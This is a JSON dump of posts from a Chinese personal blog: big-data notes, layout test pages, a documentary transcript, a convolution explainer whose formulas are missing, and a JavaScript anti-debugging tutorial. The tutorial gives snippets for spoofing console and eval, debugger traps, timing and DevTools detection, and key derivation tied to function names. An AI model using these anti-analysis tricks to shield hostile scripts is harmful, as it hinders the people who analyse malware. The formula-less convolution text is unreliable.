点击查看","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"}]},{"title":"大数据技术概述","slug":"bigdata/大数据技术概述","date":"2020-05-01T00:02:39.000Z","updated":"2020-05-01T00:02:39.000Z","comments":true,"path":"p/376025fe/","link":"","permalink":"https://blog.mhuig.top/p/376025fe/","excerpt":"","text":"大数据时代 第三次信息化浪潮根据 IBM 前首席执行官郭士纳的观点，IT 领域每隔十五年就会迎来一次重大变革 信息化浪潮 发生时间 标志 解决问题 代表企业 第一次浪潮 1980 年前后 个人计算机 信息处理 Intel、AMD、IBM、苹果、微软、联想、戴尔、惠普等 第二次浪潮 1995 年前后 互联网 信息传输 雅虎、谷歌、阿里巴巴、百度、腾讯等 第三次浪潮 2010 年前后 物联网、云计算和大数据 信息爆炸 将涌现出一批新的市场标杆企业 信息科技为大数据时代提供技术支撑 存储设备容量不断增加 CPU 处理能力大幅提升 网络带宽不断增加 数据产生方式的变革促成大数据时代的来临 大数据的特征及数据科学面临的挑战 大数据概念 数据量大 数据类型繁多 处理速度快 价值密度低 大数据的影响图灵奖获得者、著名数据库专家 Jim Gray 博士观察并总结人类自古以来，在科学研究上，先后历经了实验、理论、计算和数据四种范式 在思维方式方面，大数据完全颠覆了传统的思维方式： 全样而非抽样 效率而非精确 相关而非因果 大数据关键技术 技术层面 功能 数据采集 利用 ETL 工具将分布的、异构数据源中的数据如关系数据、平面数据文件等，抽取到临时中间层后进行清洗、转换、集成，最后加载到数据仓库或数据集市中，成为联机分析处理、数据挖掘的基础；或者也可以把实时采集的数据作为流计算系统的输入，进行实时处理分析 数据存储和管理 利用分布式文件系统、数据仓库、关系数据库、NoSQL 数据库、云数据库等，实现对结构化、半结构化和非结构化海量数据的存储和管理 数据处理与分析 利用分布式并行编程模型和计算框架，结合机器学习和数据挖掘算法，实现对海量数据的处理和分析；对分析结果进行可视化呈现，帮助人们更好地理解数据、分析数据 数据隐私和安全 在从大数据中挖掘潜在的巨大商业价值和学术价值的同时，构建隐私数据保护体系和数据安全体系，有效保护个人隐私和数据安全 两大核心技术 大数据计算模式 代表性大数据技术Hadoop Hadoop—MapReduce MapReduce 将复杂的、运行于大规模集群上的并行计算过程高度地抽象到了两个函数：Map 和 Reduce 编程容易，不需要掌握分布式并行编程细节，也可以很容易把自己的程序运行在分布式系统上，完成海量数据的计算 MapReduce 采用 “分而治之” 策略，一个存储在分布式文件系统中的大规模数据集，会被切分成许多独立的分片（split），这些分片可以被多个 Map 任务并行处理 Hadoop—YARNYARN 的目标就是实现 “一个集群多个框架”，为什么？ 一个企业当中同时存在各种不同的业务应用场景，需要采用不同的计算框架 MapReduce 实现离线批处理 使用 Impala 实现实时交互式查询分析 使用 Storm 实现流式数据实时分析 使用 Spark 实现迭代计算 这些产品通常来自不同的开发团队，具有各自的资源调度管理机制为了避免不同类型应用之间互相干扰，企业就需要把内部的服务器拆分成多个集群，分别安装运行不同的计算框架，即 “一个框架一个集群” 导致问题 集群资源利用率低 数据无法共享 维护代价高 YARN 的目标就是实现 “一个集群多个框架”，即在一个集群上部署一个统一的资源调度管理框架 YARN，在 YARN 之上可以部署其他各种计算框架由 YARN 为这些计算框架提供统一的资源调度管理服务，并且能够根据各种计算框架的负载需求，调整各自占用的资源，实现集群资源共享和资源弹性收缩可以实现一个集群上的不同应用负载混搭，有效提高了集群的利用率不同计算框架可以共享底层存储，避免了数据集跨集群移动 Spark Flink Beam","categories":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/categories/BigData/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"}]},{"title":"Mac Code Test","slug":"Test/macCodeTest","date":"2020-04-30T06:06:43.000Z","updated":"2020-04-30T06:06:43.000Z","comments":true,"path":"p/91953e39/","link":"","permalink":"https://blog.mhuig.top/p/91953e39/","excerpt":"","text":"本项测试可能已失效 代码块全屏测试 How To Use? 导入库文件即可&lt;link rel='stylesheet' href='https://cdn.jsdelivr.net/gh/MHuiG/blog-cdn@1.1.12/css/me.css'&gt;&lt;script src='https://cdn.jsdelivr.net/gh/MHuiG/blog-cdn@1.1.12/js/me.js'&gt;&lt;/script&gt; cpp code#include &lt;iostream&gt;using namespace std; int main() { cout &lt;&lt; \"Hello, World!\"; return 0;} python code#!/usr/bin/pythonprint (\"Hello, Python!\") code#include &lt;cstdio&gt;#include &lt;iostream&gt;#include &lt;vector&gt;using namespace std;const int SIZE = 5e6 + 1;struct edge{ int to_node, id; edge(int t, int i): to_node(t), id(i) {} ~edge() = default;};vector&lt;int&gt; edges[SIZE];vector&lt;edge&gt; querys[SIZE];int father[SIZE], mark[SIZE], ans[SIZE];int n, m, s;int getfa(int x){ if (father[x] == x) return x; else return father[x] = getfa(father[x]);}void tarjan(int x){ mark[x] = 1; for (auto i = edges[x].begin(); i != edges[x].end(); i++) { if (mark[*i]) continue; tarjan(*i); father[*i] = x; } for (auto i = querys[x].begin(); i != querys[x].end(); i++) { int y = (*i).to_node, id = (*i).id; if (mark[y] == 2) ans[id] = getfa(y); } mark[x] = 2;}int main(){ int u, v; scanf(\"%d%d%d\", &amp;n, &amp;m, &amp;s); for (int i = 1; i &lt;= n; i++) { father[i] = i; mark[i] = 0; } for (int i = 1; i &lt; n; i++) { scanf(\"%d%d\", &amp;u, &amp;v); edges[u].emplace_back(v); edges[v].emplace_back(u); } int x, y; for (int i = 1; i &lt;= m; i++) { scanf(\"%d%d\", &amp;x, &amp;y); if (x == y) ans[i] = 0; else { querys[x].emplace_back(edge(y, i)); querys[y].emplace_back(edge(x, i)); } } tarjan(s); for (int i = 1; i &lt;= m; i++) printf(\"%d\\n\", ans[i]); return 0;}","categories":[{"name":"实验性","slug":"实验性","permalink":"https://blog.mhuig.top/categories/%E5%AE%9E%E9%AA%8C%E6%80%A7/"}],"tags":[{"name":"实验性","slug":"实验性","permalink":"https://blog.mhuig.top/tags/%E5%AE%9E%E9%AA%8C%E6%80%A7/"}]},{"title":"图片墙","slug":"Test/图片墙","date":"2020-04-28T04:05:43.000Z","updated":"2020-04-28T04:05:43.000Z","comments":false,"path":"p/e9fadccb/","link":"","permalink":"https://blog.mhuig.top/p/e9fadccb/","excerpt":"","text":"* { margin: 0; padding: 0;} .list { width: 100%; margin: 0 auto; overflow: hidden; zoom: 1;} .list .ul { float: left; width: calc((100% - 100px)/4); margin: 0 10px;} .list .li { margin-bottom: 20px;} .list img { width: 100%; border-radius: 5px; vertical-align: top;} function URL(d){ d+=new Date().getTime() var s = \"https://picsum.photos/seed/\"+d+\"/200/300\" return s } var i=0; function WriteHtml(){ document.getElementsByClassName('list')[0].innerHTML+=` ` } WriteHtml(); WriteHtml(); WriteHtml(); WriteHtml(); function getScrollTop() { var scrollPos; if (window.pageYOffset) { scrollPos = window.pageYOffset; } else if (document.compatMode && document.compatMode != 'BackCompat') { scrollPos = document.documentElement.scrollTop; } else if (document.body) { scrollPos = document.body.scrollTop; } return scrollPos; } function WriteHtmlListener(){ var scrollTop = getScrollTop(); var scrollHeight = document.documentElement.scrollHeight var windowHeight = window.innerHeight; if(scrollTop + windowHeight > scrollHeight - 2000){ WriteHtml() } } window.addEventListener(\"scroll\",WriteHtmlListener,false) volantis.EventListener.list.push(new volantisEventListener(\"scroll\",WriteHtmlListener,window)) // $(window).scroll(function(){ // var scrollTop = $(this).scrollTop(); // var scrollHeight = $(document).height(); // var windowHeight = $(this).height(); // if(scrollTop + windowHeight > scrollHeight - 2000){ // WriteHtml() // } // });","categories":[{"name":"实验性","slug":"实验性","permalink":"https://blog.mhuig.top/categories/%E5%AE%9E%E9%AA%8C%E6%80%A7/"}],"tags":[{"name":"实验性","slug":"实验性","permalink":"https://blog.mhuig.top/tags/%E5%AE%9E%E9%AA%8C%E6%80%A7/"}]},{"title":"时间之箭","slug":"pen/时间之箭","date":"2020-04-22T01:42:43.000Z","updated":"2020-04-22T01:42:43.000Z","comments":true,"path":"p/564714f9/","link":"","permalink":"https://blog.mhuig.top/p/564714f9/","excerpt":"时间就像一只箭，射向未知的前方，把过去永远留在后面。Time is like an arrow, shooting towards the unknown, leaving the past behind forever.","text":"时间就像一只箭，射向未知的前方，把过去永远留在后面。Time is like an arrow, shooting towards the unknown, leaving the past behind forever. 每个人 你所热爱的一切Every piece of everyone, of everything you love, 你所憎恨的一切 of everything you hate, 你所拥有的最宝贵的东西 of everything you hold most precious, 在宇宙生命中最为伊始的几分钟内 was assembled by the forces of nature 由自然的力量合成 in the first few minutes of the universe, 在恒星的中心转化 transformed in the hearts of starts 或者在它们燃烧的消亡中诞生 or created in their fiery deaths 而当你去世的时候 And when you die, 这些碎片将回到宇宙中 those pieces will be returned to the universe 进入无限的死亡又重生的轮回之中 in the endless cycle of death and rebirth. 太阳的命运也是所有恒星的命运 The fate of the sun is the same as for all starts. 终有一天 &nbsp; 他们都会消亡 One day, they must all eventually die 宇宙将会陷入永无止境的黑暗之中 and the cosmos will be plunged into eternal night. 这便是时间箭头最深远的影响 And this is the most profound consequence of the arrow of time. 我刚用相机捕捉到的 The light that I’ve just captured 这个光点二百五十万年前踏上了旅程 in my camera began its journey 2.5 million years ago. 那时地球上还没有人类 At that time, on Earth, there were no humans. 远古的祖先能人 Homo habilis, our distant ancestors, 正在非洲广袤的平原上漫步 wereroaming the plaints of Africa, 就是在那些光线 and as those light rays travelled 平行于无垠宇宙的同时 through the vastness of space. 人类不断进化 our species evolved,and thousands 一代又一代的生老病死 and thousands&nbsp;and thousands of qenerations of humans lived 周而复始 and died, 旅途开始的二百五十万年后 and then 2.5 million years after their journey began, 这些远道而来的信使 these messengers from the depths of space 穿越漫长的时间 and from way back in our past, 映入现在我们的眼帘 arrived here on Earth. 我们与那些遥远星系息息相关 we are in a very real sense connected to these qalaxies, 无论它们是如何与我们天各一方 no matter how far away they are across the universe, 那些经历过数十亿年旅行到达地球的光线 connected by the light 终究会把我们联系在一起 that’s journeved billions of ears to reach us. “生星时代” The Stelliferous Era - 恒星漫天的时代 the age of the starts. 我们的太阳只是银河系两千亿颗恒星中的一颗 Our sun is just one of 200 billion starts in our qalaxy. 我们的星系也只是可观测的宇宙范围内的 Our qalaxy is one of 100 bllion 一百亿个星系中的一个 in the observable universe. 数不尽的星球上有数不胜数的岛屿 And countless islands of countless stars. 当我们注意太空的时候 When we look out into space, 我们也是在寻找自己的起源 we are looking into our own origins. 我们的故事就是宇宙的故事 Our story is the story of the universe. 因为我们是恒星真正的孩子 Beacuse we are truly children of the starts. 注入进我们的身体的 and written into every atom 每一个原子和分子 and every molecule of our bodies 就是宇宙从大爆炸 is the entire history of the universe 到现在全部的历史 from the Big Bang to the present day. 对我们来说 &nbsp; 像婚戒黄金一样的珍宝 It’s quite a thought that something as 实际上也可以在一颗遥远的 &nbsp; 数百万光年 precious to us as the gold in a wedding ring was 甚至数十亿光年远的恒星上产生actually forged in the death of a distant star. 从宇宙起源到最后一个黑洞消失的这个过程中 as measured from its beainning to the evappration of the last black hole. 生命 正如我们所知life as we konw it, is only possible 只有百分之千亿分之for one thousandth of a billion&nbsp;billion&nbsp;billionth 千亿分之千分之一的可能性billion&nbsp;billion&nbsp;billionth&nbsp;billion&nbsp;billion&nbsp;billionth of a percent. 所以对于我来说 And that’s why for me 宇宙中最迷人的奇迹不是恒星 the most astonishing wonder of the universe isn’t a star 不是行星 &nbsp; 也不是星系 or a planet or a galaxy 甚至根本不是一个物质 It isn’t a thing at all 而是时间里的一瞬间 It’s an instant in time 那个瞬间 &nbsp; 就是现在 And that time is now. 当我们仰望天空 You see, when we look up into the sky, 望向遥远的恒星和星系时 at distant starts and galaxies, 我们其实是在仰望过去 then we’re looking back in time 因为光从那些遥远天体到达地球需要时间 because the light takes time to journey from them to us. 而光从那个红点处传播到我们这里 And the light from that red dot has been travelling to us 差不多经历了整个宇宙史 for almost the entire history of the universe. 我们看到的是一百三十亿年前 You see, what we’re looking at here is an event that happened 发生的事件 13 billion years ago. 我们看到的是宇宙初期的一颗恒星 What we’re looking at here is the explosive death 爆炸灭亡的景象 of one of the first starts in the universe. 一日为二十四个小时 A day on Earth is the 24 hours 即地球绕轴自转一周 it takes our planet to rotate once on its axis. 一月为二十九天半 Our months are based on the 29-and-a-half days 即月亮在夜空完成盈亏圆缺 it takes the moon to wax and wane in the night sky. 一年为三百六十五天又四分之一天 And a year is the 365-and-a-quarter days 即地球绕太阳公转一周 it takes us to orbit&nbsp;once around the sun. 人类的生命便消逝在这些熟悉的时间量程之内 These familiar timescales mark the passing of our lives. 这是宇宙无法避免的真相 It’s an inescapable fact of the universe, 也被写入了物理学基本定律 written into the fundamental laws of physics, 整个宇宙将消亡 The entire cosmos will die, 银河系中的两千亿恒星将全部消亡 Every single one of the 200 billion starts in our galaxy will go out. 如同太阳末日 &nbsp; 便是地球末日 And just as the death of the sun means the end of life on our planet, 每一颗恒星的灭亡 so the death of every star 都可能预示着宇宙中其他某种生命的灭亡 will extinguish any possibility of life in the universe. 永恒的变化是人类生命中最基本的部分 Permanent change is a fundamental part of what it means to be human. 随着时间流逝 &nbsp; 我们都会变老We all age as the years pass by. 人们出生 &nbsp; 成长 &nbsp; 死亡People are born, they live, they die. 我想这只是生命中悲悲喜喜的一部分I suppose it’s part of the joy and tragedy of our lives. 但纵观宇宙But out there in the universe, 那些宏伟的如史诗般的循环好像永恒不变those grand and epic cycles appear eternal and unchanging. 然而这只是错觉But that’s an illlusion. 宇宙长河就如同我们的生命一样You see, in the life of the universe, just in our lives, 一切都在不可逆转地变化everything is irreversibly changing. 我们从没见过浪花离开过湖面We never see waves travelling across lakes. 聚集在一起 &nbsp; 组成巨大的冰块重回冰川coming together and bouncing chunks of ice back onto glaciers. 我们被迫前往将来We are compelled to travel into the future. 那是因为And that’s because 时间箭头规定 &nbsp; 随着时间流逝the arrow of time dictates that as each moment passes, 万物也在发生变化things change. 变化一旦发生 &nbsp; 就无法更改And once these changes have happend, they are never undone. 这些循环看似永恒不变These cycles seem eternal and unchanging, 但随着时间之书徐徐展开but as the story of time unfolds, 一条真理跃然眼前afundamental truth is revealed. 没有什么能够永恒Nothing lates forever.","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"},{"name":"Time","slug":"随笔/Time","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/Time/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"},{"name":"Time","slug":"Time","permalink":"https://blog.mhuig.top/tags/Time/"}]},{"title":"Hello World","slug":"pen/Hello World","date":"2020-04-19T06:24:29.000Z","updated":"2020-04-19T06:24:29.000Z","comments":true,"path":"p/4a17b156/","link":"","permalink":"https://blog.mhuig.top/p/4a17b156/","excerpt":"你好，世界！","text":"你好，世界！ 全新的主题，熟悉的代码，怎能不再次心动？ 这是 MHuiG 的又一个博客！ 原博客数据不再迁移此处，将其作为该博客的子站我的 NoteBook:&nbsp;https://mhuig.github.io/NoteBook/ 后注：原博客数据已迁移此处 【NoteBook 已闭源】","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"},{"name":"Hello","slug":"随笔/Hello","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/Hello/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"},{"name":"Hello","slug":"Hello","permalink":"https://blog.mhuig.top/tags/Hello/"}]},{"title":"理解卷积","slug":"ml/理解卷积","date":"2020-03-09T12:05:42.000Z","updated":"2020-03-09T12:05:42.000Z","comments":true,"path":"p/xa6297acc/","link":"","permalink":"https://blog.mhuig.top/p/xa6297acc/","excerpt":"本文的目的是深入的理解卷积，通过一些示例，卷积将会成为一个非常简单的想法.","text":"本文的目的是深入的理解卷积，通过一些示例，卷积将会成为一个非常简单的想法. 抛球的经验想象一下，我们将一个球从某个高度掉落到地面上，球在该地面只能在一个方向上运动，如果您将球放下然后从其着陆点上方再次放下，球可能会前进的距离是多少？ 让我们分解一下。在第一次下落之后，它将以概率降落距起点个单位，其中是概率分布。 现在，在第一次下落之后，我们将球捡起并从其首次着陆点上方的另一个高度下落。球从新起点滚动单位的概率为 , 其中如果从不同高度掉落，则可能是不同的概率分布。 如果我们确定了第一个的结果，我们就知道了球的移动距离，对于球的总距离为，第二个球的移动距离也固定为，其中。因此发生这种情况的可能性就是。 让我们考虑一个具体的离散示例。 我们希望总距离为。如果它第一次滚动，则第二次它必须滚动 , 才能达到我们的总距离。&nbsp;这个概率是。 但是，这不是我们达到的总距离的唯一方法。球第一次可以滚动个单位，第二次可以滚动个单位。 或第一次为，第二次为。 只要将和加和等于，它就可以取任意值。 这个概率分别是和。 为了找出球到达总距离的总可能性，我们不能仅考虑一种到达的可能方式。 相反，我们考虑将划分为两个球和的所有可能方法，并对每种方法的概率求和。 我们已经知道，对于每种情况，的概率就是。 因此，对的每个解求和，我们可以将总似然表示为： 事实证明，我们正在做卷积！特别地，定义在处的和的卷积定义为： 如果我们用代替，我们得到： 这是卷积的标准定义。 为了更具体一点，我们可以考虑球可能着陆的位置。 在第一次下降之后，它将以概率降落在中间位置。 如果它降落在处，则它有概率降落在位置处。 为了得到卷积，我们考虑所有中间位置。 可视化卷积有一个很好的技巧，可以帮助人们更轻松地思考卷积。 首先，观察。 假设一个球从其起点降落一定距离的概率为。 然后，此后，它从着陆点开始的距离为的概率为。 如果我们知道球在第二次下降后落在位置上，那么前一个位置是的概率是多少？ 因此，先前位置为的概率为。 现在，考虑每个中间位置有助于球最终降落在的概率。 我们知道第一滴将球放到中间位置的概率是。 我们还知道，如果它降落在上，它进入的概率为。 对所有求和，我们得到了卷积。 这种方法的优点是，它使我们可以在单个图片中可视化卷积在值处的评估。 通过移动下半部分，我们可以评估其他值的卷积。 这使我们能够从整体上理解卷积。 例如，我们可以看到分布对齐时达到峰值。 且随着分布之间的交点变小而缩小。 过在动画中使用此技巧，实际上可以从视觉上理解卷积。 下面，我们可以看到两个框函数的卷积： 有了这种观点，很多事情就会变得更加直观。 让我们考虑一个非概率示例。 卷积有时在音频处理中使用。 例如，一个函数可能会使用其中有两个尖峰但在其他所有地方为零的函数来创建回波。 当我们的双尖峰功能滑动时，一个尖峰首先击中一个时间点，将该信号添加到输出声音中，然后又出现另一个尖峰，并添加第二个延迟副本。 高维卷积卷积是一个非常笼统的想法。我们还可以将它们用于更大的尺寸。 让我们再次考虑一个落球的例子。现在，随着位置的下降，它的位置不仅在一维，而在二维。 卷积与以前相同： 但是，现在，和是向量。更明确地说， 或在标准定义中： 就像一维卷积一样，我们可以将二维卷积视为将一个函数滑动到另一个函数之上，相乘和相加。 一种常见的应用是图像处理。我们可以将图像视为二维函数。许多重要的图像转换都是卷积，您可以在其中将图像函数与一个非常小的局部函数（称为 “卷积核”）进行卷积。 卷积核滑动到图像的每个位置，并计算一个新像素作为其浮动像素的加权和。 例如，通过平均 3x3 像素矩阵，我们可以使图像模糊。 为此，我们的内核在框中的每个像素上取值， 我们还可以通过在两个相邻像素上取值和，在其他所有位置取零来检测边缘。 也就是说，我们减去两个相邻像素。 当并排像素相似时，这大约等于零。 然而，在边缘上，相邻像素在垂直于边缘的方向上有很大不同。 卷积神经网络那么，卷积与卷积神经网络有何关系？ 考虑一个具有输入和输出的一维卷积层，就像这样： 正如我们观察到的，我们可以用输入来描述输出： 通常，A 将是多个神经元。 但是假设它只是一个神经元。 回想一下，神经网络中的典型神经元描述为： 其中，是输入。 权重，描述了神经元如何连接到其输入。&nbsp;负权重表示输入抑制神经元的激活，而正权重则鼓励神经元激活。 权重是神经元的心脏，控制神经元的行为。说多个神经元是相同的，这与说权重相同是一回事。 卷积将为我们处理的是神经元的这种连线，描述了所有权重以及哪些权重相同。 通常，我们一次而不是单独描述一个层中的所有神经元。 诀窍是要有一个权重矩阵： 例如，我们得到： 矩阵的每一行都描述了将神经元连接到其输入的权重。 但是，返回到卷积层，因为同一神经元有多个副本，所以许多权重出现在多个位置。 对应于等式： 因此，通常，权重矩阵会将每个输入连接到具有不同权重的每个神经元： 像上面的卷积层的矩阵看起来很不一样。 相同的权重出现在多个位置中。 而且由于神经元没有连接到许多可能的输入，因此存在很多零。 与上述矩阵相乘与与，，卷积相同。 滑动到不同位置的功能对应于在那些位置具有神经元。 二维卷积层呢？ 二维卷积层的布线对应于二维卷积。 考虑上面的示例，通过使用卷积来检测图像边缘，方法是在周围滑动一个内核并将其应用于每个面片。 就像这样，卷积层会将神经元应用于图像的每个 patch。 结论我们在此博客文章中介绍了许多数学机制，但是获得的结果可能并不明显。 卷积显然是概率论和计算机图形学中的有用工具，但是从卷积的角度说卷积神经网络有什么好处呢？ 第一个优点是我们拥有一些非常强大的语言来描述网络的布线。 到目前为止，我们所处理的示例还不够复杂，以至于无法清楚地看到这种好处，但是通过卷积可以使我们摆脱大量令人不快的簿记工作。 其次，卷积具有明显的实施优势。 许多库提供高效的卷积例程。 此外，尽管卷积天真地看起来是运算，但使用一些相当深的数学见解，就有可能创建实现。 我们将在以后的文章中对此进行更详细的讨论。 实际上，在 GPU 上使用高效并行卷积实现对于计算机视觉的最新进展至关重要。 参考文献[English] Understanding Convolutions","categories":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/categories/Math/"},{"name":"概率","slug":"Math/概率","permalink":"https://blog.mhuig.top/categories/Math/%E6%A6%82%E7%8E%87/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"概率","slug":"概率","permalink":"https://blog.mhuig.top/tags/%E6%A6%82%E7%8E%87/"},{"name":"神经网络","slug":"神经网络","permalink":"https://blog.mhuig.top/tags/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/"}]},{"title":"JavaScript 反调试","slug":"web/JavaScript反调试","date":"2020-02-26T02:36:40.000Z","updated":"2020-02-26T02:36:40.000Z","comments":true,"path":"p/bfe2ff2a/","link":"","permalink":"https://blog.mhuig.top/p/bfe2ff2a/","excerpt":"总结一下关于 JavaScript 反调试技巧方面的内容。本文的目的是收集与 JavaScript 中的反调试有关的小窍门（其中一些已经被恶意软件或商业产品使用）。","text":"总结一下关于 JavaScript 反调试技巧方面的内容。本文的目的是收集与 JavaScript 中的反调试有关的小窍门（其中一些已经被恶意软件或商业产品使用）。 对于 JavaScript 来说，你只需要花一点时间进行调试和分析，你就能够了解到 JavaScript 代码段的功能逻辑。而我们所要讨论的内容，可以给那些想要分析你 JavaScript 代码的人增加一定的难度。不过我们的技术跟代码混淆无关，我们主要针对的是如何给代码主动调试增加困难。本文所要介绍的技术方法大致如下： 检测未知的执行环境（我们的代码只想在浏览器中被执行）； 检测调试工具（例如 DevTools）； 代码完整性控制； 流完整性控制； 反模拟； 简而言之，如果我们检测到了 “不正常” 的情况，程序的运行流程将会改变，并跳转到伪造的代码块，并 “隐藏” 真正的功能代码。 函数重定义这是一种最基本也是最常用的代码反调试技术了。在 JavaScript 中，我们可以对用于收集信息的函数进行重定义。比如说，console.log() 函数可以用来收集函数和变量等信息，并将其显示在控制台中。如果我们重新定义了这个函数，我们就可以修改它的行为，并隐藏特定信息或显示伪造的信息。我们可以直接在 DevTools 中运行这个函数来了解其功能： console.log(\"HelloWorld\");var fake = function() {};window['console']['log']= fake;console.log(\"Youcan't see me!\"); 运行后我们将会看到： VM127:1 HelloWorld 你会发现第二条信息并没有显示，因为我们重新定义了这个函数，即 “禁用” 了它原本的功能。但是我们也可以让它显示伪造的信息。比如说这样： console.log(\"Normalfunction\");//First we save a reference to the original console.log functionvar original = window['console']['log'];//Next we create our fake function//Basicly we check the argument and if match we call original function with otherparam.// If there is no match pass the argument to the original functionvar fake = function(argument) { if (argument === \"Ka0labs\") { original(\"Spoofed!\"); } else { original(argument); }}// We redefine now console.log as our fake functionwindow['console']['log']= fake;//Then we call console.log with any argumentconsole.log(\"Thisis unaltered\");//Now we should see other text in console different to \"Ka0labs\"console.log(\"Ka0labs\");//Aaaand everything still OKconsole.log(\"Byebye!\"); 如果一切正常的话： VM84:1 NormalfunctionVM84:11 Thisis unalteredVM84:9 Spoofed!VM84:11 Byebye! 实际上，为了控制代码的执行方式，我们还能够以更加聪明的方式来修改函数的功能。比如说，我们可以基于上述代码来构建一个代码段，并重定义 eval 函数。我们可以把 JavaScript 代码传递给 eval 函数，接下来代码将会被计算并执行。如果我们重定义了这个函数，我们就可以运行不同的代码了： //Just a normal evaleval(\"console.log('1337')\");//Now we repat the process...var original = eval;var fake = function(argument) { // If the code to be evaluated contains1337... if (argument.indexOf(\"1337\") !==-1) { // ... we just execute a different code original(\"for (i = 0; i &lt; 10;i++) { console.log(i);}\"); } else { original(argument); }}eval= fake;eval(\"console.log('Weshould see this...')\");//Now we should see the execution of a for loop instead of what is expectedeval(\"console.log('Too1337 for you!')\"); 运行结果如下： VM171:1 1337VM172:1 Weshould see this...VM173:1 0VM173:1 1VM173:1 2VM173:1 3VM173:1 4VM173:1 5VM173:1 6VM173:1 7VM173:1 8VM173:1 9 &nbsp; 通过这种方式修改程序流是一个很酷的技巧，但是正如我们在一开始所说的那样，它是最基本的技巧，很容易被发现并被击败。这是因为在 JavaScript 中，每个函数都有一个方法 toString（或 Firefox 中的 toSource）返回其自己的代码。因此，仅需要检查所需函数的代码是否已更改。当然，我们可以重新定义方法 toString /toSource，但是我们陷入了同样的情况：function.toString.toString() 。 断点为了帮助我们了解代码的功能，JavaScript 调试工具（例如 DevTools）都可以通过设置断点的方式阻止脚本代码执行，而断点也是代码调试中最基本的了。如果你研究过调试器或者 x86 架构，你可能会比较熟悉 0xCC 指令。在 JavaScript 中，我们有一个名叫 debugger 的类似指令。当我们在代码中声明了 debugger 函数后，脚本代码将会在 debugger 指令这里停止运行。比如说： console.log(\"Seeme!\");debugger;console.log(\"Seeme!\"); 很多商业产品会在代码中定义一个无限循环的 debugger 指令，不过某些浏览器会屏蔽这种代码，而有些则不会。这种方法的主要目的就是让那些想要调试你代码的人感到厌烦，因为无限循环意味着代码会不断地弹出窗口来询问你是否要继续运行脚本代码： setTimeout(function(){while (true) {eval(\"debugger\")}}) setInterval(function()&nbsp;{var&nbsp;a =&nbsp;new&nbsp;Date();&nbsp;debugger;&nbsp;return&nbsp;new&nbsp;Date() - a &gt;&nbsp;100;}, 100); 时间差异这是一种从传统反逆向技术那里借鉴过来的基于时间的反调试技巧。当脚本在 DevTools 等工具环境下执行时，运行速度会非常慢（时间久），所以我们就可以根据运行时间来判断脚本当前是否正在被调试。比如说，我们可以通过测量代码中两个设置点之间的运行时间，然后用这个值作为参考，如果运行时间超过这个值，说明脚本当前在调试器中运行。演示代码如下： setInterval(function(){ var startTime = performance.now(), check,diff; for (check = 0; check &lt; 1000; check++){ console.log(check); console.clear(); } diff = performance.now() - startTime; if (diff &gt; 200){ alert(\"Debugger detected!\"); }},500); DevTools 检测（I）[Chrome]：getter这项技术利用的是 div 元素中的 id 属性，当 div 元素被发送至控制台（例如 console.log(div) ）时，浏览器会自动尝试获取其中的元素 id。如果代码在调用了 console.log 之后又调用了 getter 方法，说明控制台当前正在运行。简单的概念验证代码如下： let div = document.createElement('div');let loop = setInterval(() =&gt; { console.log(div); console.clear();});Object.defineProperty(div,\"id\", {get: () =&gt; { clearInterval(loop); alert(\"Dev Tools detected!\");}}); DevTools 检测（II）[Chrome]：大小更改如果打开了 DevTools（除非将其取消对接打开），则 window.outerWidth / Height 和 window.innerWidth / Height 之间的差异将发生变化，因此可以循环检测。Devtools-detect 使用此技巧： const widthThreshold = window.outerWidth - window.innerWidth &gt; threshold;const heightThreshold = window.outerHeight - window.innerHeight &gt; threshold;const orientation = widthThreshold ? 'vertical' : 'horizontal'; 隐式流完整性控制当我们尝试对 JavaScript 代码段进行模糊处理时，第一步就是开始重命名一些变量和函数，以阐明源代码。您只需将代码拆分为较小的代码块，然后开始在此处和此处重命名。在 JavaScript 中，我们可以检查函数名称是否已更改或保持相同的名称。或更准确地说，我们可以检查堆栈跟踪是否包含原始名称和原始顺序。使用 arguments.callee.caller，我们可以创建堆栈跟踪，以保存先前执行的函数。我们可以使用此信息来生成一个哈希，该哈希将成为用于生成用于解密 JavaScript 其他部分的密钥的种子。这样，我们就可以对流的完整性进行隐式控制，因为如果重命名功能或要执行的功能顺序稍有不同，则创建的哈希将完全不同。如果哈希不同，则生成的密钥也将不同。如果密钥不同，则无法解密代码。为了更好地理解它，请参见下一个示例： function getCallStack() { var stack = \"#\", total = 0, fn =arguments.callee; while ( (fn = fn.caller) ) { stack = stack + \"\" +fn.name; total++ } return stack}function test1() { console.log(getCallStack());}function test2() { test1();}function test3() { test2();}function test4() { test3();}test4(); 执行此代码时，您将看到字符串 #test1test2test3test4 。如果我们修改（我邀请您这样做）任何函数的名称，返回的字符串也将不同。我们可以使用该字符串计算安全哈希，然后将其用作种子，以得出用于解密其他代码块的密钥。有趣的是，如果由于密钥无效（分析人员更改了函数名称）而无法解密下一个代码块，则可以捕获异常并将执行流重定向到伪路径。 VM50:10 #test1test2test3test4 请记住，此技巧需要与强大的混淆功能结合在一起才能使用。 隐式代码完整性控制&nbsp; 在 “函数重新定义” 部分的结尾，我们提到可以使用 toString（）方法检索 JavaScript 中函数的代码。就像我们说过的那样，这对于检查函数是否已重新定义很有用，实际上，可以使用相同的想法来知道函数的代码是否被修改。 